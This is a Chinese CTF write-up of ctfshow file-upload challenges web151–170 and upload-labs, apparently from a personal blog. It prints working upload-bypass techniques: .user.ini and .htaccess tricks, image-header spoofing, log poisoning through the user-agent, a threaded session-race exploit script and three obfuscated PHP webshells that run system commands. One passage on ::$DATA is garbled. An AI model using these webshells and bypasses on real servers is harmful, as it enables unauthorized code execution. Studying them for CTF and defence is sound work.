文件上传(ctfshow,upload-labs,文件上传字典生成)

准备了10几天的美亚杯,最后结果也是很满意的,拿到了一等奖,不过还是得继续学习web,冲冲冲!(全部重新截图有点麻烦,有的图借用了其他大佬的)

ctfshow

web151-web152

本题即绕过前端验证,只需上传一个png图片(图片马,普通图片需添加一句话),在burp截断时修改content-type为php即可绕过,再进入文件目录,利用命令执行得到flag

制作图片马的方法:

用一张小点的图片和一句话木马,利用copy命令生成图片马
copy 1.png/b+2.php/a 3.png

文件上传(ctfshow,upload-labs,文件上传字典生成)_第1张图片

web153-web160(用.user.ini,对各种过滤的绕过)

对.user.ini以及.htaccess文件的介绍

auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾

//.user.ini
auto_prepend_file=1.png  //指向1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

需要三个文件都存在于同一目录下,相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含,依次上传即可

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

web153

1上传.user.ini.png后,将后缀png删除掉,指向目标确定为1.png
文件上传(ctfshow,upload-labs,文件上传字典生成)_第2张图片再上传一个普通图片马:其中内容为一句话
文件上传(ctfshow,upload-labs,文件上传字典生成)_第3张图片由于三个必须文件是在upload目录下,且目标网站当前目录下存在index.php文件(即网页的默认目录,\upload与\upload\index.php一致),所以需要进入upload目录下并进行命令执行,即可得到flag(flag.php在上层目录,需要 …/flag.php,也可以使用find命令查找flag: find / f*)
文件上传(ctfshow,upload-labs,文件上传字典生成)_第4张图片

web154-web156(php被禁了)

可以上传.user.ini,但是上传图片的时候,后台识别不了文件名,会乱码

文件上传(ctfshow,upload-labs,文件上传字典生成)_第5张图片使用其他的方法绕过:

<? echo '123';?>               //前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>             //不需要开启参数设置
<% echo '123';%>                              //前提是开启配置参数asp_tags=on
<script language=”php”>echo '123'; </script>                //不需要修改参数开关

使用短标签形式:

可以成功得到flag
文件上传(ctfshow,upload-labs,文件上传字典生成)_第6张图片使用同样的办法可以得到flag

web157-web158(过滤php ;)

(web154)的办法可以通过,但过滤了分号,把短标签后面的;去掉

短标签形式:

web159(过滤php ; () )

这里把()给过滤掉了,于是采用反引号实现绕过

短标签形式:

注意:PHP 支持一个执行运算符:反引号(``)。这不是单引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数 shell_exec()相同。但是,关闭了 shell_exec() 时反引号运算符是无效的

web160(过滤`` php ; () )

- 采用文件包含的手段:

 <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

文件上传(ctfshow,upload-labs,文件上传字典生成)_第7张图片
直接进入upload目录即可看到base64加密的flag
在这里插入图片描述

- 还可以使用日志包含

在上传.user.ini的同时在user-agent中写入一句话
文件上传(ctfshow,upload-labs,文件上传字典生成)_第8张图片
然后写入日志包含的内容:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

文件上传(ctfshow,upload-labs,文件上传字典生成)_第9张图片最后蚁剑连接即可:连接地址为upload目录即可(因为此目录下原本有个index.php)

文件上传(ctfshow,upload-labs,文件上传字典生成)_第10张图片这种方法的意思:在当前目录下的php文件中包含了1.png,而1.png的内容是日志(被写入了一句话)

web161(增加了文件头的识别)

这里无法直接使用文件包含的手段读取flag,使用了函数getimagesize()进行过滤,这里上传图片马是不可以的

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

只需要在传入文件包含语句时,在上面加上一段图片的标识即图片头:GIF89a

文件上传(ctfshow,upload-labs,文件上传字典生成)_第11张图片文件上传(ctfshow,upload-labs,文件上传字典生成)_第12张图片文件上传(ctfshow,upload-labs,文件上传字典生成)_第13张图片

web162-web163(session竞争)

把 . 给过滤了,日志包含等都无法实现,只能使用session文件竞争
首先上传一个.user.ini

GIF89a
auto_prepend_file=“png”

文件上传(ctfshow,upload-labs,文件上传字典生成)_第14张图片再上传文件

GIF89a

文件上传(ctfshow,upload-labs,文件上传字典生成)_第15张图片最后使用exp:可惜没跑出来

#-- coding:UTF-8 --
import io
import requests
import threading
url = 'http://9bb9ff09-db3f-4fa6-9a13-48a52e7eb10f.challenge.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': ''
    }
    while True:
        f = io.BytesIO(b'GIF89a\nctfshow')
        files = {'file': ('1.png', f, 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

web164-web165(待实现)

web166(本题对上传文件进行了限定)

文件上传(ctfshow,upload-labs,文件上传字典生成)_第16张图片将一句话php文件修改后缀为zip文件上传,得到生成下载的文件:
文件上传(ctfshow,upload-labs,文件上传字典生成)_第17张图片再利用文件包含,使用post参数执行命令得到flag
文件上传(ctfshow,upload-labs,文件上传字典生成)_第18张图片

web167(.htaccess)

本题提示https,尝试apache解析漏洞,但不成功,于是更换apache服务器特有的 .htaccess文件,将所有的jpg图片解释为php文件

Apache解析漏洞:
Apache,会将1.php.bak解析为php。原理是从后往前解析。 遇到认识的,才会解析,文件定义在mime.types中 会将php3,php4,php5,phtml,pht解析为php

htaccess文件内容修改为:

AddType application/x-httpd-php .jpg
或者
<FilesMatch "jpg">          		
SetHandler application/x-httpd-php 	   
 </FilesMatch>

文件上传(ctfshow,upload-labs,文件上传字典生成)_第19张图片上传内容为一句话木马的图片
文件上传(ctfshow,upload-labs,文件上传字典生成)_第20张图片命令执行即可得到flag

web168(免杀)

该题后台对上传文件内容进行了很多函数,关键字的过滤,需要上传免杀马

三个免杀马如下,参数为 1 :

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

上传图片马或者普通图片都可以:

文件上传(ctfshow,upload-labs,文件上传字典生成)_第21张图片利用内存马中的参数进行命令执行
文件上传(ctfshow,upload-labs,文件上传字典生成)_第22张图片

web169-web170(.user.ini日志包含,过滤了<>,php)

本题过滤了php以及<> ,无法使用反引号,文件包含等方法,但是可以使用日志包含

前端限制了zip文件,上传zip文件后,修改content-type:image/png(该类型可以指定很多文件,比如php等),修改user-agent内容为一句话,再执行上传的.user.ini文件指向日志

文件上传(ctfshow,upload-labs,文件上传字典生成)_第23张图片
由于当前目录下没有php文件,于是在上传一个php文件,内容自定即可
意思是:.user.ini指向日志文件,且在php文件中包含日志文件

最后蚁剑连接php文件,即可找到flag

下面是一些对于upload-labs的补充:

基本上传文件格式:1.php

  • 大小写绕过:1.PHP
  • 双写绕过:1.pphphp(过滤了一次php)
  • 空格绕过: 1.php空格
  • ::$DATA绕过:1.php::$DATA

在php+windows的情况下:如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名.且保持":: D A T A " 之 前 的 文 件 名 。 利 用 w i n d o w s 特 性 , 可 在 后 缀 名 中 加 ” : : DATA"之前的文件名。利用windows特性,可在后缀名中加” :: DATA"windows::DATA”绕过

  • 00截断绕过:1.php%00

条件: 文件上传后会在其文件名后添加随机数以混淆文件名, php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

字典生成器github地址

小结:
遇上文件上传先用判断环境,利用文件上传字典生成一段字典爆破,不行的尝试ctfshow的办法

你可能感兴趣的:(web,php,安全,web安全)